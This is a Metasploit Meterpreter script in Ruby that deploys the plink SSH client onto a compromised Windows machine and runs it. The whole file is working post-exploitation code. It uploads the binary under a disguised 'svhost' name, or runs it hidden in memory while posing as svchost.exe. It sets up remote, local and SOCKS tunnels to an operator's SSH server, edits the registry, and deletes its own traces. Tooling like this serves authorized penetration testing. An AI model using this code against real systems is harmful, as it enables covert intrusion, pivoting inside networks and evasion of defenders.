metasploit-framework/scripts/meterpreter/win32-sshclient.rb

#
# Meterpreter script to deploy & run the "plink" commandline ssh-client
# supports only MS-Windows-2k/XP/Vista Hosts
#
# Version 1.0
# written by illegalguy
#
require 'net/http'
require 'uri'
meter_type = client.platform

#
# Options
#

@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false, "This help menu"],
  "-f"  => [ true,  "Do not download plink.exe but use given file."],
  "-U"  => [ true,  "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
  "-H"  => [ true,  "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
  "-p"  => [ true,  "The port of the remote SSH-server (Default:22)"],
  "-u"  => [ true,  "The username to use to login to the SSH-server !REQUIRED!"],
  "-P"  => [ true,  "login with specified password"],
  "-b"  => [ false, "disable all interactive prompts"],
  "-R"  => [ true,  "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
  "-L"  => [ true,  "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
  "-D"  => [ true,  "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
  "-C"  => [ false, "enable compression"],
  "-X"  => [ false, "enable X11 forwarding"],
  "-x"  => [ false, "disable X11 forwarding"],
  "-A"  => [ false, "enable agent forwarding"],
  "-a"  => [ false, "disable agent forwarding"],
  "-1"  => [ false, "use SSH-protocol-version 1"],
  "-2"  => [ false, "use SSH-protocol-version 2"],
  "-4"  => [ false, "use IPv4"],
  "-6"  => [ false, "use IPv6"],
  "-i"  => [ true,  "private key-file for authentication"],
  "-m"  => [ true,  "read remote command from file"],
  "-s"  => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
  "-N"  => [ false, "Don`t start a shell/command (SSH2 only)"],
  "-n"  => [ true,  "open tunnel in place of session (SSH-2 only) (host:port)"],
  "-r"  => [ true,  "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
  "-F"  => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
  "-E"  => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
  "-v"  => [ false, "Give additional (debugging-)output"]
)

def usage
  print_line("plink ssh-client deploy+run script")
  print_line("This script will upload and run a plink ssh-cient")
  print_line(@@exec_opts.usage)
  raise Rex::Script::Completed
end

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
  print_error("#{meter} version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end
#
# Default parameters
#

plink = File.join(Msf::Config.data_directory, "plink.exe")

#plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
#plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
plinkurl = 'http://updates.metasploit.com/data/win32-ssh/plink.exe'
license = <<-EOS
PuTTY is copyright 1997-2010 Simon Tatham.
Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
EOS


#
# Define required functions
#

def upload(client,file,trgloc = nil)
  if not ::File.exists?(file)
    raise "File to Upload does not exists!"
  else
    if trgloc == nil
      location = client.fs.file.expand_path("%TEMP%")
    else
      location = trgloc
    end
    begin
      if file =~ /S*(.exe)/i
        fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
      else
        fileontrgt = "#{location}\\TMP#{rand(100)}"
      end
      print_status("Uploading #{file}....")
      client.fs.file.upload_file(fileontrgt, file)
      print_status("#{file} successfully uploaded to #{fileontrgt}!")
    rescue ::Exception => e
      print_status("Error uploading file #{file}: #{e.class} #{e}")
    end
  end
  return fileontrgt
end


#
# Option parsing
#
username = nil
password = nil
rhost = nil
rport = 22
manual = nil
hostkey = nil
batchmode = nil
remotefwd = nil
localfwd = nil
socksfwd = nil
enablecompression = nil
enablex11fwd = nil
disablex11fwd = nil
enableagentfwd = nil
disableagentfwd = nil
sshv1 = nil
sshv2 = nil
ipv4 = nil
ipv6 = nil
keyfile = nil
cmdfile = nil
sshsubsys = nil
noshell = nil
nctunnel = nil
processname = "C:\\windows\\system32\\svchost.exe"
verbose = nil
filemode = nil
downloaded = nil

@@exec_opts.parse(args) { |opt, idx, val|
  case opt
  when "-h"
    usage
  when "-H"
    if !val
      print_error("-H requires an argument !")
      usage
    end
    rhost = val

  when "-f"
    if !val
      print_error("-f requires an argument !")
      usage
    end
    plink = val
    if not ::File.exists?(plink)
      print_error("Plink.exe not found/accessible!")
      usage
    end
    manual = true

  when "-r"
    if !val
      print_error("-r requires an argument !")
      usage
    end
    hostkey = val

  when "-p"
    rport = val.to_i

  when "-U"
    if !val
      print_error("-u requires an argument !")
      usage
    end
    plinkurl = val

  when "-u"
    if !val
      print_error("-u requires an argument !")
      usage
    end
    username = val

  when "-P"
    if !val
      print_error("-P requires an argument !")
      usage
    end
    password = val

  when "-b"
    batchmode = true

  when "-R"
    if !val
      print_error("-R requires an argument !")
      usage
    end
    remotefwd = val

  when "-L"
    if !val
      print_error("-L requires an argument !")
      usage
    end
    localfwd = val

  when "-D"
    if !val
      print_error("-D requires an argument !")
      usage
    end
    socksfwd = val

  when "-C"
    enablecompression = true

  when "-X"
    enablex11fwd = true

  when "-x"
    disablex11fwd = true

  when "-A"
    enableagentfwd = true

  when "-a"
    disableagentfwd = true

  when "-1"
    sshv1 = true

  when "-2"
    sshv2 = true

  when "-4"
    ipv4 = true

  when "-6"
    ipv6 = true

  when "-i"
    if !val
      print_error("-i requires an argument !")
      usage
    end
    keyfile = val
    if not ::File.exists?(keyfile)
      print_error("keyfile not found or not accessible!")
      usage
    end

  when "-m"
    if !val
      print_error("-m requires an argument !")
      usage
    end
    cmdfile = val
    if not ::File.exists?(cmdfile)
      print_error("cmd-file not found/accessible!")
      usage
    end

  when "-s"
    sshsubsys = true

  when "-N"
    noshell = true

  when "-n"
    if !val
      print_error("-n requires an argument !")
      usage
    end
    nctunnel = val

  when "-E"
    if !val
      print_error("-E requires an argument !")
      usage
    end
    processname = val

  when "-v"
    verbose = true

  when "-F"
    filemode = true

  else
    print_error("Unknown option: #{opt}")
    usage
  end
}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i


if not rhost or not username
  print_status("You must specify a hostname (-H) and username (-u)")
  raise Rex::Script::Completed
end

#
# Check if plink-file exists, and if not : download from putty-site first
# Ask user before downloading
#
if not manual
  if not ::File.exists?(plink)
    print_status("plink.exe could not be found. Downloading it now...")
    print_status(license)
    plinkexe = Net::HTTP.get URI.parse(plinkurl)
    File.open(plink, "wb") { |fd| fd.write(plinkexe) }
    print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
    downloaded = true
  end
end

#
# Uploading files to target
#
cmdfileontrgt = upload(client, cmdfile) if cmdfile
keyfileontrgt = upload(client, keyfile) if keyfile

trg_filename = nil
if filemode
  print_status("-------Uploading plink -------")
  trg_filename = upload(client, plink)
else
  trg_filename = plink
end

#
# Build parameter-string
#
params = "-ssh "
params << "-P #{rport} "          if not rport == 22
params << "-l #{username} "
params << "-pw #{password} "      if password
params << "-batch "               if batchmode
params << "-R #{remotefwd} "      if remotefwd
params << "-L #{localfwd} "       if localfwd
params << "-D #{socksfwd} "       if socksfwd
params << "-C "                   if enablecompression
params << "-X "                   if enablex11fwd
params << "-x "                   if disablex11fwd
params << "-A "                   if enableagentfwd
params << "-a "                   if disableagentfwd
params << "-1 "                   if sshv1
params << "-2 "                   if sshv2
params << "-4 "                   if ipv4
params << "-6 "                   if ipv6
params << "-m #{cmdfileontrgt} "  if cmdfileontrgt
params << "-i #{keyfileontrgt} "  if keyfileontrgt
params << "-s "                   if sshsubsys
params << "-N "                   if noshell
params << "-nc #{nctunnel} "      if nctunnel

params << rhost


#
# Set Registry-Value before running the client, if the param was specified
#
hostkeyname = nil
if not hostkey == nil
  hostkeyname = "rsa2@#{rport}:#{rhost}"
  print_status("Writing the Hostkey to the registry...")
  client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
end

#
# Give additional output when -v is set
#
if verbose
  print_status("You set the following parameters for plink :")
  print_status(params)
  print_status(processname)
end

#
# Execute the client
#

print_status("-------Executing Client ------")

p = nil
if not filemode
  p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
else
  p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
end

if noshell == nil
  client.console.run_single("interact #{p.channel.cid}")
end

if filemode
  if not noshell == true
    if verbose
      print_status("Waiting 3 seconds to be sure the process was closed.")
    end
    sleep(3)
    if verbose
      print_status("Deleting the uploaded plink.exe...")
    end
    client.fs.file.rm(trg_filename)
  else
    print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
  end
end

if not keyfile == nil
  if verbose
    print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
  end
  sleep(1)
  if verbose
    print_status("Deleting the keyfile !")
  end
  if verbose
    print_status(keyfile)
  end
  client.fs.file.rm(keyfile)
end

if not cmdfile == nil
  print_status("You need to manually delete the uploaded #{cmdfile} !")
end

#
# Delete the registry-key that may have been created
#
if not hostkey == nil
  if verbose
    print_status("Deleting the registry-key set by the script.")
  end
  client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
end

raise Rex::Script::Completed